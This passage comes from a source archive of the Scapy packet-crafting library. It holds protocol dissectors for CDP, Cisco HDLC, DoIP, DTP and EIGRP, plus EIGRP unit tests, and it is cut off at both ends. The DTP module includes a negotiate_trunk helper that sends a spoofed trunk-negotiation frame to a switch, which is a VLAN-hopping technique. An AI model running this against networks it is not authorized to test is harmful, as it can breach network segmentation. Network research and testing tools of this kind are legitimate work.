ByteEnumField("ptype", 0x01, _cdp_addr_record_ptype), FieldLenField("plen", 1, "proto", "B"), StrLenField("proto", _cdp_addrrecord_proto_ip, length_from=lambda x:x.plen), ShortField("addrlen", 4), IPField("addr", "0.0.0.0")] class CDPAddrRecordIPv6(CDPAddrRecord): name = "CDP Address IPv6" fields_desc = [ ByteEnumField("ptype", 0x02, _cdp_addr_record_ptype), FieldLenField("plen", 8, "proto", "B"), StrLenField("proto", _cdp_addrrecord_proto_ipv6, length_from=lambda x:x.plen), ShortField("addrlen", 16), IP6Field("addr", "::1")] def _CDPGuessAddrRecord(p, **kargs): cls = conf.raw_layer if len(p) >= 2: plen = p[1] proto = b''.join(struct.unpack("s" * plen, p[2:plen + 2])[0:plen]) if proto == _cdp_addrrecord_proto_ip: clsname = "CDPAddrRecordIPv4" elif proto == _cdp_addrrecord_proto_ipv6: clsname = "CDPAddrRecordIPv6" else: clsname = "CDPAddrRecord" cls = globals()[clsname] return cls(p, **kargs) class CDPMsgAddr(CDPMsgGeneric): name = "Addresses" fields_desc = [ XShortEnumField("type", 0x0002, _cdp_tlv_types), ShortField("len", None), FieldLenField("naddr", None, "addr", "!I"), PacketListField("addr", [], _CDPGuessAddrRecord, count_from=lambda x:x.naddr) ] def post_build(self, pkt, pay): if self.len is None: l = 8 + len(self.addr) * 9 pkt = pkt[:2] + struct.pack("!H", l) + pkt[4:] p = pkt + pay return p class CDPMsgPortID(CDPMsgGeneric): name = "Port ID" fields_desc = [ XShortEnumField("type", 0x0003, _cdp_tlv_types), FieldLenField("len", None, "iface", "!H"), StrLenField("iface", "Port 1", length_from=lambda x:x.len - 4) ] _cdp_capabilities = [ "Router", "TransparentBridge", "SourceRouteBridge", "Switch", "Host", "IGMPCapable", "Repeater"] + ["Bit%d" % x for x in range(25,0,-1)] class CDPMsgCapabilities(CDPMsgGeneric): name = "Capabilities" fields_desc = [ XShortEnumField("type", 0x0004, _cdp_tlv_types), ShortField("len", 8), FlagsField("cap", 0, 32, _cdp_capabilities) ] class CDPMsgSoftwareVersion(CDPMsgGeneric): name = "Software Version" type = 0x0005 class CDPMsgPlatform(CDPMsgGeneric): name = "Platform" type = 0x0006 _cdp_duplex = { 0x00: "Half", 0x01: "Full" } # ODR Routing class CDPMsgIPPrefix(CDPMsgGeneric): name = "IP Prefix" type = 0x0007 fields_desc = [ XShortEnumField("type", 0x0007, _cdp_tlv_types), ShortField("len", 8), IPField("defaultgw", "192.168.0.1") ] # TODO : Do me !!!!!! 0x0008 class CDPMsgProtoHello(CDPMsgGeneric): name = "Protocol Hello" type = 0x0008 class CDPMsgVTPMgmtDomain(CDPMsgGeneric): name = "VTP Management Domain" type = 0x0009 class CDPMsgNativeVLAN(CDPMsgGeneric): name = "Native VLAN" fields_desc = [ XShortEnumField("type", 0x000a, _cdp_tlv_types), ShortField("len", 6), ShortField("vlan", 1) ] class CDPMsgDuplex(CDPMsgGeneric): name = "Duplex" fields_desc = [ XShortEnumField("type", 0x000b, _cdp_tlv_types), ShortField("len", 5), ByteEnumField("duplex", 0x00, _cdp_duplex) ] class CDPMsgVoIPVLANReply(CDPMsgGeneric): name = "VoIP VLAN Reply" fields_desc = [ XShortEnumField("type", 0x000e, _cdp_tlv_types), ShortField("len", 7), ByteField("status?", 1), ShortField("vlan", 1)] # TODO : Do me !!! 0x000F class CDPMsgVoIPVLANQuery(CDPMsgGeneric): name = "VoIP VLAN Query" type = 0x000f # fields_desc = [XShortEnumField("type", 0x000f, _cdp_tlv_types), # FieldLenField("len", None, "val", "!H") ] class _CDPPowerField(ShortField): def i2repr(self, pkt, x): if x is None: x = 0 return "%d mW" % x class CDPMsgPower(CDPMsgGeneric): name = "Power" # Check if field length is fixed (2 bytes) fields_desc = [ XShortEnumField("type", 0x0010, _cdp_tlv_types), ShortField("len", 6), _CDPPowerField("power", 1337)] class CDPMsgMTU(CDPMsgGeneric): name = "MTU" # Check if field length is fixed (2 bytes) fields_desc = [ XShortEnumField("type", 0x0011, _cdp_tlv_types), ShortField("len", 6), ShortField("mtu", 1500)] class CDPMsgMgmtAddr(CDPMsgAddr): name = "Management Address" type = 0x0016 class CDPMsgUnknown19(CDPMsgGeneric): name = "Unknown CDP Message" type = 0x0019 class CDPMsg(CDPMsgGeneric): name = "CDP " fields_desc = [ XShortEnumField("type", None, _cdp_tlv_types), FieldLenField("len", None, "val", "!H"), StrLenField("val", "", length_from=lambda x:x.len - 4) ] class _CDPChecksum: def post_build(self, pkt, pay): p = pkt + pay if self.cksum is None: cksum = checksum(p) p = p[:2] + struct.pack("!H", cksum) + p[4:] return p class CDPv2_HDR(_CDPChecksum, CDPMsgGeneric): name = "Cisco Discovery Protocol version 2" fields_desc = [ ByteField("vers", 2), ByteField("ttl", 180), XShortField("cksum", None), PacketListField("msg", [], _CDPGuessPayloadClass) ] bind_layers(SNAP, CDPv2_HDR, {"code": 0x2000, "OUI": 0xC}) scapy-0.23/scapy/contrib/chdlc.py000066400000000000000000000034611320561231000167600ustar00rootroot00000000000000# http://trac.secdev.org/scapy/ticket/88 # scapy.contrib.description = Cisco HDLC and SLARP # scapy.contrib.status = loads # This layer is based on information from http://www.nethelp.no/net/cisco-hdlc.txt from scapy.packet import * from scapy.fields import * from scapy.layers.l2 import * from scapy.layers.inet import * from scapy.layers.inet6 import * class CHDLC(Packet): name = "Cisco HDLC" fields_desc = [ ByteEnumField("address", 0x0f, {0x0f : "unicast", 0x8f :"multicast"}), ByteField("control", 0), XShortField("proto", 0x0800)] class SLARP(Packet): name = "SLARP" fields_desc = [ IntEnumField("type", 2, {0 : "request", 1 : "reply", 2 :"line keepalive"}), ConditionalField(IPField("address", "192.168.0.1"), lambda pkt : pkt.type == 0 or pkt.type == 1), ConditionalField(IPField("mask", "255.255.255.0"), lambda pkt : pkt.type == 0 or pkt.type == 1), ConditionalField(XShortField("unused", 0), lambda pkt : pkt.type == 0 or pkt.type == 1), ConditionalField(IntField("mysequence", 0), lambda pkt : pkt.type == 2), ConditionalField(IntField("yoursequence", 0), lambda pkt : pkt.type == 2), ConditionalField(XShortField("reliability", 0xffff), lambda pkt : pkt.type == 2)] bind_layers( CHDLC, Dot3, proto=0x6558) bind_layers( CHDLC, IP, proto=0x800) bind_layers( CHDLC, IPv6, proto=0x86dd) bind_layers( CHDLC, SLARP, proto=0x8035) bind_layers( CHDLC, STP, proto=0x4242) conf.l2types.register(104, CHDLC) scapy-0.23/scapy/contrib/doip.py000066400000000000000000000066021320561231000166360ustar00rootroot00000000000000#!/usr/bin/env python3 # scapy.contrib.description = DoIP # scapy.contrib.status = loads """ Diagnostics over IP Extension ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ This extension is a very basic implementation of `Diagnostics over IP (DoIP) `_, an IP-based protocol used in automotive environments defined as part of `AUTOSAR 4.2.2 `_. This is pretty much a work in progress, so expect breaking changes. :version: 0.1 :date: 2017-03-10 :author: tpltnt :Thanks: - the two automotive people for nagging me """ from scapy.fields import ByteEnumField, IntField, StrLenField, XByteField, XShortEnumField from scapy.layers.inet import TCP, UDP from scapy.packet import Packet, bind_layers # payload types according to table 3 payload_types = {0x0000: "generic DoIP header negative acknowledge", 0x0001: "vehicle identification request message", 0x0002: "vehicle identification request", 0x0003: "vehicle identification request message with VIN", 0x0004: "Vehicle announcement message/vehicle identification response", 0x0005: "routing activation request", 0x0006: "routing activation response", 0x0007: "alive check request", 0x0008: "alive check response", 0x4001: "DoIP entity status request", 0x4002: "DoIP entity status response", 0x4003: "diagnostic power mode information request", 0x4004: "diagnostic power mode information response", 0x8001: "diagnostic message", 0x8002: "Diagnostic message positive acknowledgement", 0x8003: "diagnostic message negative acknowledgement"} class DoIPRawPacket(Packet): """ This class models the a raw/generic Diagnositics over IP (DoIP) packet. The protocol version (inverse protocol version) are fixed to 0x02. The fields 'payload_type', 'payload_length' and 'payload_content' should be set according to the actual payload. Example of a generic acknowledge: >>> from scapy.contrib.doip import * >>> DoIP(payload_type=0x0000, payload_length=1, payload_content=b'\x02') """ name = "DoIPRaw" # field names are abbreviated to facilitate pretty printing etc. fields_desc = [XByteField("protocol_version", 0x02), XByteField("inverse_version", 0xFD), XShortEnumField("payload_type", 0, payload_types), IntField("payload_length", 0), StrLenField("payload_content", "", length_from=lambda pkt: pkt.payload_length) ] def dissect(self, b): """ Dissect an incoming DoIP packet. :param b: bytes to dissect :type b: bytes :raises: ValueError """ if len(b) < 8: raise ValueError("given packet too short") return super(DoIPRawPacket, self).dissect(b) # bind things together bind_layers(UDP, DoIPRawPacket, sport=13400) bind_layers(UDP, DoIPRawPacket, dport=13400) bind_layers(TCP, DoIPRawPacket, sport=13400) bind_layers(TCP, DoIPRawPacket, dport=13400) scapy-0.23/scapy/contrib/dtp.py000066400000000000000000000071111320561231000164660ustar00rootroot00000000000000#!/usr/bin/env python # scapy.contrib.description = DTP # scapy.contrib.status = loads """ DTP Scapy Extension ~~~~~~~~~~~~~~~~~~~ :version: 2008-12-22 :author: Jochen Bartl :Thanks: - TLV code derived from the CDP implementation of scapy. (Thanks to Nicolas Bareil and Arnaud Ebalard) http://trac.secdev.org/scapy/ticket/18 """ from scapy.packet import * from scapy.fields import * from scapy.layers.l2 import SNAP,Dot3,LLC from scapy.sendrecv import sendp class DtpGenericTlv(Packet): name = "DTP Generic TLV" fields_desc = [ XShortField("type", 0x0001), FieldLenField("length", None, length_of=lambda pkt:pkt.value + 4), StrLenField("value", "", length_from=lambda pkt:pkt.length - 4) ] def guess_payload_class(self, p): return conf.padding_layer class RepeatedTlvListField(PacketListField): def __init__(self, name, default, cls): PacketField.__init__(self, name, default, cls) def getfield(self, pkt, s): lst = [] remain = s while len(remain) > 0: p = self.m2i(pkt,remain) if conf.padding_layer in p: pad = p[conf.padding_layer] remain = pad.load del(pad.underlayer.payload) else: remain = "" lst.append(p) return remain,lst def addfield(self, pkt, s, val): return s+reduce(str.__add__, map(str, val),"") _DTP_TLV_CLS = { 0x0001 : "DTPDomain", 0x0002 : "DTPStatus", 0x0003 : "DTPType", 0x0004 : "DTPNeighbor" } class DTPDomain(DtpGenericTlv): name = "DTP Domain" fields_desc = [ ShortField("type", 1), FieldLenField("length", None, "domain", adjust=lambda pkt,x:x + 4), StrLenField("domain", "\x00", length_from=lambda pkt:pkt.length - 4) ] class DTPStatus(DtpGenericTlv): name = "DTP Status" fields_desc = [ ShortField("type", 2), FieldLenField("length", None, "status", adjust=lambda pkt,x:x + 4), StrLenField("status", "\x03", length_from=lambda pkt:pkt.length - 4) ] class DTPType(DtpGenericTlv): name = "DTP Type" fields_desc = [ ShortField("type", 3), FieldLenField("length", None, "dtptype", adjust=lambda pkt,x:x + 4), StrLenField("dtptype", "\xa5", length_from=lambda pkt:pkt.length - 4) ] class DTPNeighbor(DtpGenericTlv): name = "DTP Neighbor" fields_desc = [ ShortField("type", 4), #FieldLenField("length", None, "neighbor", adjust=lambda pkt,x:x + 4), ShortField("len", 10), MACField("neighbor", None) ] def _DTPGuessPayloadClass(p, **kargs): cls = conf.raw_layer if len(p) >= 2: t = struct.unpack("!H", p[:2])[0] clsname = _DTP_TLV_CLS.get(t, "DtpGenericTlv") cls = globals()[clsname] return cls(p, **kargs) class DTP(Packet): name = "DTP" fields_desc = [ ByteField("ver", 1), RepeatedTlvListField("tlvlist", [], _DTPGuessPayloadClass) ] bind_layers(SNAP, DTP, code=0x2004, OUI=0xc) def negotiate_trunk(iface=conf.iface, mymac=str(RandMAC())): print("Trying to negotiate a trunk on interface %s" % iface) p = Dot3(src=mymac, dst="01:00:0c:cc:cc:cc")/LLC()/SNAP()/DTP(tlvlist=[DTPDomain(),DTPStatus(),DTPType(),DTPNeighbor(neighbor=mymac)]) sendp(p) if __name__ == "__main__": from scapy.main import interact interact(mydict=globals(), mybanner="DTP") scapy-0.23/scapy/contrib/eigrp.py000066400000000000000000000371731320561231000170200ustar00rootroot00000000000000#!/usr/bin/env python # scapy.contrib.description = EIGRP # scapy.contrib.status = loads """ EIGRP Scapy Extension ~~~~~~~~~~~~~~~~~~~~~ :version: 2009-08-13 :copyright: 2009 by Jochen Bartl :e-mail: lobo@c3a.de / jochen.bartl@gmail.com :license: GPL v2 This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. :TODO - Replace TLV code with a more generic solution * http://trac.secdev.org/scapy/ticket/90 - Write function for calculating authentication data :Known bugs: - :Thanks: - TLV code derived from the CDP implementation of scapy. (Thanks to Nicolas Bareil and Arnaud Ebalard) http://trac.secdev.org/scapy/ticket/18 - IOS / EIGRP Version Representation FIX by Dirk Loss """ from scapy.packet import * from scapy.fields import * from scapy.layers.inet import IP from scapy.layers.inet6 import * class EigrpIPField(StrField, IPField): """ This is a special field type for handling ip addresses of destination networks in internal and external route updates. EIGRP removes zeros from the host portion of the ip address if the netmask is 8, 16 or 24 bits. """ def __init__(self, name, default, length=None, length_from=None): StrField.__init__(self, name, default) self.length_from = length_from if length is not None: self.length_from = lambda pkt,length=length: length def h2i(self, pkt, x): return IPField.h2i(self, pkt, x) def i2m(self, pkt, x): x = inet_aton(x) l = self.length_from(pkt) if l <= 8: return x[:1] elif l <= 16: return x[:2] elif l <= 24: return x[:3] else: return x def m2i(self, pkt, x): l = self.length_from(pkt) if l <= 8: x += "\x00\x00\x00" elif l <= 16: x += "\x00\x00" elif l <= 24: x += "\x00" return inet_ntoa(x) def prefixlen_to_bytelen(self, l): if l <= 8: l = 1 elif l <= 16: l = 2 elif l <= 24: l = 3 else: l = 4 return l def i2len(self, pkt, x): l = self.length_from(pkt) l = self.prefixlen_to_bytelen(l) return l def getfield(self, pkt, s): l = self.length_from(pkt) l = self.prefixlen_to_bytelen(l) return s[l:], self.m2i(pkt, s[:l]) def randval(self): return IPField.randval(self) class EigrpIP6Field(StrField, IP6Field, EigrpIPField): """ This is a special field type for handling ip addresses of destination networks in internal and external route updates. """ def __init__(self, name, default, length=None, length_from=None): StrField.__init__(self, name, default) self.length_from = length_from if length is not None: self.length_from = lambda pkt,length=length: length def any2i(self, pkt, x): return IP6Field.any2i(self, pkt, x) def i2repr(self, pkt, x): return IP6Field.i2repr(self, pkt, x) def h2i(self, pkt, x): return IP6Field.h2i(self, pkt, x) def i2m(self, pkt, x): x = inet_pton(socket.AF_INET6, x) l = self.length_from(pkt) l = self.prefixlen_to_bytelen(l) return x[:l] def m2i(self, pkt, x): l = self.length_from(pkt) prefixlen = self.prefixlen_to_bytelen(l) if l > 128: warning("EigrpIP6Field: Prefix length is > 128. Dissection of this packet will fail") else: pad = "\x00" * (16 - prefixlen) x += pad return inet_ntop(socket.AF_INET6, x) def prefixlen_to_bytelen(self, l): l = l / 8 if l < 16: l += 1 return l def i2len(self, pkt, x): return EigrpIPField.i2len(self, pkt, x) def getfield(self, pkt, s): return EigrpIPField.getfield(self, pkt, s) class ThreeBytesField(X3BytesField, ByteField): def i2repr(self, pkt, x): return ByteField.i2repr(self, pkt, x) class EIGRPGeneric(Packet): name = "EIGRP Generic TLV" fields_desc = [ XShortField("type", 0x0000), FieldLenField("len", None, "value", "!H", adjust=lambda pkt,x: x + 4), StrLenField("value", "\x00", length_from=lambda pkt: pkt.len - 4)] def guess_payload_class(self, p): return conf.padding_layer class EIGRPParam(EIGRPGeneric): name = "EIGRP Parameters" fields_desc = [ XShortField("type", 0x0001), ShortField("len", 12), # Bandwidth ByteField("k1", 1), # Load ByteField("k2", 0), # Delay ByteField("k3", 1), # Reliability ByteField("k4", 0), # MTU ByteField("k5", 0), ByteField("reserved", 0), ShortField("holdtime", 15) ] class EIGRPAuthData(EIGRPGeneric): name = "EIGRP Authentication Data" fields_desc = [ XShortField("type", 0x0002), FieldLenField("len", None, "authdata", "!H", adjust=lambda pkt,x: x + 24), ShortEnumField("authtype", 2, {2 : "MD5"}), ShortField("keysize", None), IntField("keyid", 1), StrFixedLenField("nullpad", "\x00" * 12, 12), StrLenField("authdata", RandString(16), length_from=lambda pkt: pkt.keysize) ] def post_build(self, p, pay): p += pay if self.keysize is None: keysize = len(self.authdata) p = p[:6] + chr((keysize >> 8) & 0xff) + chr(keysize & 0xff) + p[8:] return p class EIGRPSeq(EIGRPGeneric): name = "EIGRP Sequence" fields_desc = [ XShortField("type", 0x0003), ShortField("len", None), ByteField("addrlen", 4), ConditionalField(IPField("ipaddr", "192.168.0.1"), lambda pkt:pkt.addrlen == 4), ConditionalField(IP6Field("ip6addr", "2001::"), lambda pkt:pkt.addrlen == 16) ] def post_build(self, p, pay): p += pay if self.len is None: l = len(p) p = p[:2] + chr((l >> 8) & 0xff) + chr(l & 0xff) + p[4:] return p class ShortVersionField(ShortField): def i2repr(self, pkt, x): try: minor = x & 0xff major = (x >> 8) & 0xff except TypeError: return "unknown" else: # We print a leading 'v' so that these values don't look like floats return "v%s.%s" % (major, minor) def h2i(self, pkt, x): """The field accepts string values like v12.1, v1.1 or integer values. String values have to start with a "v" folled by a floating point number. Valid numbers are between 0 and 255. """ if type(x) is str and x.startswith("v") and len(x) <= 8: major = int(x.split(".")[0][1:]) minor = int(x.split(".")[1]) return (major << 8) | minor elif type(x) is int and x >= 0 and x <= 65535: return x else: if self.default != None: warning("set value to default. Format of %r is invalid" % x) return self.default else: raise Scapy_Exception("Format of value is invalid") def randval(self): return RandShort() class EIGRPSwVer(EIGRPGeneric): name = "EIGRP Software Version" fields_desc = [ XShortField("type", 0x0004), ShortField("len", 8), ShortVersionField("ios", "v12.0"), ShortVersionField("eigrp", "v1.2") ] class EIGRPNms(EIGRPGeneric): name = "EIGRP Next Multicast Sequence" fields_desc = [ XShortField("type", 0x0005), ShortField("len", 8), IntField("nms", 2) ] # Don't get confused by the term "receive-only". This flag is always set, when you configure # one of the stub options. It's also the only flag set, when you configure "eigrp stub receive-only". _EIGRP_STUB_FLAGS = ["connected", "static", "summary", "receive-only", "redistributed", "leak-map"] class EIGRPStub(EIGRPGeneric): name = "EIGRP Stub Router" fields_desc = [ XShortField("type", 0x0006), ShortField("len", 6), FlagsField("flags", 0x000d, 16, _EIGRP_STUB_FLAGS)] # Delay 0xffffffff == Destination Unreachable class EIGRPIntRoute(EIGRPGeneric): name = "EIGRP Internal Route" fields_desc = [ XShortField("type", 0x0102), FieldLenField("len", None, "dst", "!H", adjust=lambda pkt,x: x + 25), IPField("nexthop", "192.168.0.0"), IntField("delay", 128000), IntField("bandwidth", 256), ThreeBytesField("mtu", 1500), ByteField("hopcount", 0), ByteField("reliability", 255), ByteField("load", 0), XShortField("reserved", 0), ByteField("prefixlen", 24), EigrpIPField("dst", "192.168.1.0", length_from=lambda pkt: pkt.prefixlen), ] _EIGRP_EXTERNAL_PROTOCOL_ID = { 0x01 : "IGRP", 0x02 : "EIGRP", 0x03 : "Static Route", 0x04 : "RIP", 0x05 : "Hello", 0x06 : "OSPF", 0x07 : "IS-IS", 0x08 : "EGP", 0x09 : "BGP", 0x0A : "IDRP", 0x0B : "Connected Link" } _EIGRP_EXTROUTE_FLAGS = ["external", "candidate-default"] class EIGRPExtRoute(EIGRPGeneric): name = "EIGRP External Route" fields_desc = [ XShortField("type", 0x0103), FieldLenField("len", None, "dst", "!H", adjust=lambda pkt,x: x + 45), IPField("nexthop", "192.168.0.0"), IPField("originrouter", "192.168.0.1"), IntField("originasn", 0), IntField("tag", 0), IntField("externalmetric", 0), ShortField("reserved", 0), ByteEnumField("extprotocolid", 3, _EIGRP_EXTERNAL_PROTOCOL_ID), FlagsField("flags", 0, 8, _EIGRP_EXTROUTE_FLAGS), IntField("delay", 0), IntField("bandwidth", 256), ThreeBytesField("mtu", 1500), ByteField("hopcount", 0), ByteField("reliability", 255), ByteField("load", 0), XShortField("reserved2", 0), ByteField("prefixlen", 24), EigrpIPField("dst", "192.168.1.0", length_from=lambda pkt: pkt.prefixlen) ] class EIGRPv6IntRoute(EIGRPGeneric): name = "EIGRP for IPv6 Internal Route" fields_desc = [ XShortField("type", 0x0402), FieldLenField("len", None, "dst", "!H", adjust=lambda pkt,x: x + 37), IP6Field("nexthop", "::"), IntField("delay", 128000), IntField("bandwidth", 256000), ThreeBytesField("mtu", 1500), ByteField("hopcount", 1), ByteField("reliability", 255), ByteField("load", 0), XShortField("reserved", 0), ByteField("prefixlen", 16), EigrpIP6Field("dst", "2001::", length_from=lambda pkt: pkt.prefixlen) ] class EIGRPv6ExtRoute(EIGRPGeneric): name = "EIGRP for IPv6 External Route" fields_desc = [ XShortField("type", 0x0403), FieldLenField("len", None, "dst", "!H", adjust=lambda pkt,x: x + 57), IP6Field("nexthop", "::"), IPField("originrouter", "192.168.0.1"), IntField("originasn", 0), IntField("tag", 0), IntField("externalmetric", 0), ShortField("reserved", 0), ByteEnumField("extprotocolid", 3, _EIGRP_EXTERNAL_PROTOCOL_ID), FlagsField("flags", 0, 8, _EIGRP_EXTROUTE_FLAGS), IntField("delay", 0), IntField("bandwidth", 256000), ThreeBytesField("mtu", 1500), ByteField("hopcount", 1), ByteField("reliability", 0), ByteField("load", 1), XShortField("reserved2", 0), ByteField("prefixlen", 8), EigrpIP6Field("dst", "::", length_from=lambda pkt: pkt.prefixlen) ] _eigrp_tlv_cls = { 0x0001: "EIGRPParam", 0x0002: "EIGRPAuthData", 0x0003: "EIGRPSeq", 0x0004: "EIGRPSwVer", 0x0005: "EIGRPNms", 0x0006: "EIGRPStub", 0x0102: "EIGRPIntRoute", 0x0103: "EIGRPExtRoute", 0x0402: "EIGRPv6IntRoute", 0x0403: "EIGRPv6ExtRoute" } class RepeatedTlvListField(PacketListField): def __init__(self, name, default, cls): PacketField.__init__(self, name, default, cls) def getfield(self, pkt, s): lst = [] remain = s while len(remain) > 0: p = self.m2i(pkt, remain) if conf.padding_layer in p: pad = p[conf.padding_layer] remain = pad.load del(pad.underlayer.payload) else: remain = "" lst.append(p) return remain,lst def addfield(self, pkt, s, val): return s + reduce(str.__add__, map(str, val), "") def _EIGRPGuessPayloadClass(p, **kargs): cls = conf.raw_layer if len(p) >= 2: t = struct.unpack("!H", p[:2])[0] clsname = _eigrp_tlv_cls.get(t, "EIGRPGeneric") cls = globals()[clsname] return cls(p, **kargs) _EIGRP_OPCODES = { 1 : "Update", 2 : "Request", 3 : "Query", 4 : "Replay", 5 : "Hello", 6 : "IPX SAP", 10 : "SIA Query", 11 : "SIA Reply" } # The Conditional Receive bit is used for reliable multicast communication. # Update-Flag: Not sure if Cisco calls it that way, but it's set when neighbors # are exchanging routing information _EIGRP_FLAGS = ["init", "cond-recv", "unknown", "update"] class EIGRP(Packet): name = "EIGRP" fields_desc = [ ByteField("ver", 2), ByteEnumField("opcode", 5, _EIGRP_OPCODES), XShortField("chksum", None), FlagsField("flags", 0, 32, _EIGRP_FLAGS), IntField("seq", 0), IntField("ack", 0), IntField("asn", 100), RepeatedTlvListField("tlvlist", [], _EIGRPGuessPayloadClass) ] def post_build(self, p, pay): p += pay if self.chksum is None: c = checksum(p) p = p[:2] + chr((c >> 8) & 0xff) + chr(c & 0xff) + p[4:] return p def mysummary(self): summarystr = "EIGRP (AS=%EIGRP.asn% Opcode=%EIGRP.opcode%" if self.opcode == 5 and self.ack != 0: summarystr += " (ACK)" if self.flags != 0: summarystr += " Flags=%EIGRP.flags%" return self.sprintf(summarystr + ")") bind_layers(IP, EIGRP, proto=88) bind_layers(IPv6, EIGRP, nh=88) if __name__ == "__main__": from scapy.main import interact interact(mydict=globals(), mybanner="EIGRP") scapy-0.23/scapy/contrib/eigrp.utscapy000066400000000000000000000151301320561231000200450ustar00rootroot00000000000000% EIGRP Tests * Tests for the Scapy EIGRP layer + Basic Layer Tests * These are just some basic tests = EIGRP IPv4 Binding ~ eigrp_ipv4_binding p = IP()/EIGRP() p[IP].proto == 88 = EIGRP IPv6 Binding ~ eigrp_ipv6_binding p = IPv6()/EIGRP() p[IPv6].nh == 88 = EIGRP checksum field ~ eigrp_chksum_field p = IP()/EIGRP(flags=0xa, seq=23, ack=42, asn=100) s = p[EIGRP].build() struct.unpack("!H", s[2:4])[0] == 64843 + Custom Field Tests * Test funciontally of custom made fields = ShortVersionField nice representation f = ShortVersionField("ver", 3072) f.i2repr(None, 3072) == "v12.0" and f.i2repr(None, 258) == "v1.2" = ShortVersionField h2i function f = ShortVersionField("ver", 0) f.h2i(None, 3073) == f.h2i(None, "v12.1") = EigrpIPField length with prefix length of 8 bit f = EigrpIPField("ipaddr", "192.168.1.0", length=8) f.i2len(None, "") == 1 = EigrpIPField length with prefix length of 12 bit f = EigrpIPField("ipaddr", "192.168.1.0", length=12) f.i2len(None, "") == 2 = EigrpIPField length with prefix length of 24 bit f = EigrpIPField("ipaddr", "192.168.1.0", length=24) f.i2len(None, "") == 3 = EigrpIPField length with prefix length of 28 bit f = EigrpIPField("ipaddr", "192.168.1.0", length=28) f.i2len(None, "") == 4 = EigrpIP6Field length with prefix length of 8 bit f = EigrpIP6Field("ipaddr", "2000::", length=8) f.i2len(None, "") == 2 = EigrpIP6Field length with prefix length of 99 bit f = EigrpIP6Field("ipaddr", "2000::", length=99) f.i2len(None, "") == 13 = EigrpIP6Field length with prefix length of 128 bit f = EigrpIP6Field("ipaddr", "2000::", length=128) f.i2len(None, "") == 16 = EIGRPGuessPayloadClass function: Return Parameters TLV isinstance(_EIGRPGuessPayloadClass("\x00\x01"), EIGRPParam) = EIGRPGuessPayloadClass function: Return Authentication Data TLV isinstance(_EIGRPGuessPayloadClass("\x00\x02"), EIGRPAuthData) = EIGRPGuessPayloadClass function: Return Sequence TLV isinstance(_EIGRPGuessPayloadClass("\x00\x03"), EIGRPSeq) = EIGRPGuessPayloadClass function: Return Software Version TLV isinstance(_EIGRPGuessPayloadClass("\x00\x04"), EIGRPSwVer) = EIGRPGuessPayloadClass function: Return Next Multicast Sequence TLV isinstance(_EIGRPGuessPayloadClass("\x00\x05"), EIGRPNms) = EIGRPGuessPayloadClass function: Return Stub Router TLV isinstance(_EIGRPGuessPayloadClass("\x00\x06"), EIGRPStub) = EIGRPGuessPayloadClass function: Return Internal Route TLV isinstance(_EIGRPGuessPayloadClass("\x01\x02"), EIGRPIntRoute) = EIGRPGuessPayloadClass function: Return External Route TLV isinstance(_EIGRPGuessPayloadClass("\x01\x03"), EIGRPExtRoute) = EIGRPGuessPayloadClass function: Return IPv6 Internal Route TLV isinstance(_EIGRPGuessPayloadClass("\x04\x02"), EIGRPv6IntRoute) = EIGRPGuessPayloadClass function: Return IPv6 External Route TLV isinstance(_EIGRPGuessPayloadClass("\x04\x03"), EIGRPv6ExtRoute) = EIGRPGuessPayloadClass function: Return EIGRPGeneric isinstance(_EIGRPGuessPayloadClass("\x23\x42"), EIGRPGeneric) + TLV List = EIGRP parameters and software version p = IP()/EIGRP(tlvlist=[EIGRPParam()/EIGRPSwVer()]) s = '\x45\x00\x00\x3C\x00\x01\x00\x00\x40\x58\x7C\x67\x7F\x00\x00\x01\x7F\x00\x00\x01\x02\x05\xEE\x6C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x64\x00\x01\x00\x0C\x01\x00\x01\x00\x00\x00\x00\x0F\x00\x04\x00\x08\x0C\x00\x01\x02' str(p) == s = EIGRP internal route length field p = IP()/EIGRP(tlvlist=[EIGRPIntRoute(prefixlen=24, dst="192.168.1.0")]) struct.unpack("!H", p[EIGRPIntRoute].build()[2:4])[0] == 28 = EIGRP external route length field p = IP()/EIGRP(tlvlist=[EIGRPExtRoute(prefixlen=16, dst="10.1.0.0")]) struct.unpack("!H", p[EIGRPExtRoute].build()[2:4])[0] == 47 = EIGRPv6 internal route length field p = IP()/EIGRP(tlvlist=[EIGRPv6IntRoute(prefixlen=64, dst="2000::")]) struct.unpack("!H", p[EIGRPv6IntRoute].build()[2:4])[0] == 46 = EIGRPv6 external route length field p = IP()/EIGRP(tlvlist=[EIGRPv6ExtRoute(prefixlen=99, dst="2000::")]) struct.unpack("!H", p[EIGRPv6ExtRoute].build()[2:4])[0] == 70 + Stub Flags * The receive-only flag is always set, when a router anounces itself as stub router. = Receive-Only p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="receive-only")]) p[EIGRPStub].flags == 0x0008 = Connected p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="connected+receive-only")]) p[EIGRPStub].flags == 0x0009 = Static p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="static+receive-only")]) p[EIGRPStub].flags == 0x000a = Summary p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="summary+receive-only")]) p[EIGRPStub].flags == 0x000c = Connected, Summary p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="connected+summary+receive-only")]) p[EIGRPStub].flags == 0x000d = Static, Summary p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="static+summary+receive-only")]) p[EIGRPStub].flags == 0x000e = Redistributed, Connected p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="redistributed+connected+receive-only")]) p[EIGRPStub].flags == 0x0019 = Redistributed, Static p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="redistributed+static+receive-only")]) p[EIGRPStub].flags == 0x001a = Redistributed, Static, Connected p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="redistributed+static+connected+receive-only")]) p[EIGRPStub].flags == 0x001b = Redistributed, Summary p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="redistributed+summary+receive-only")]) p[EIGRPStub].flags == 0x001c = Redistributed, Connected, Summary p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="redistributed+connected+summary+receive-only")]) p[EIGRPStub].flags == 0x001d = Connected, Redistributed, Static, Summary p = 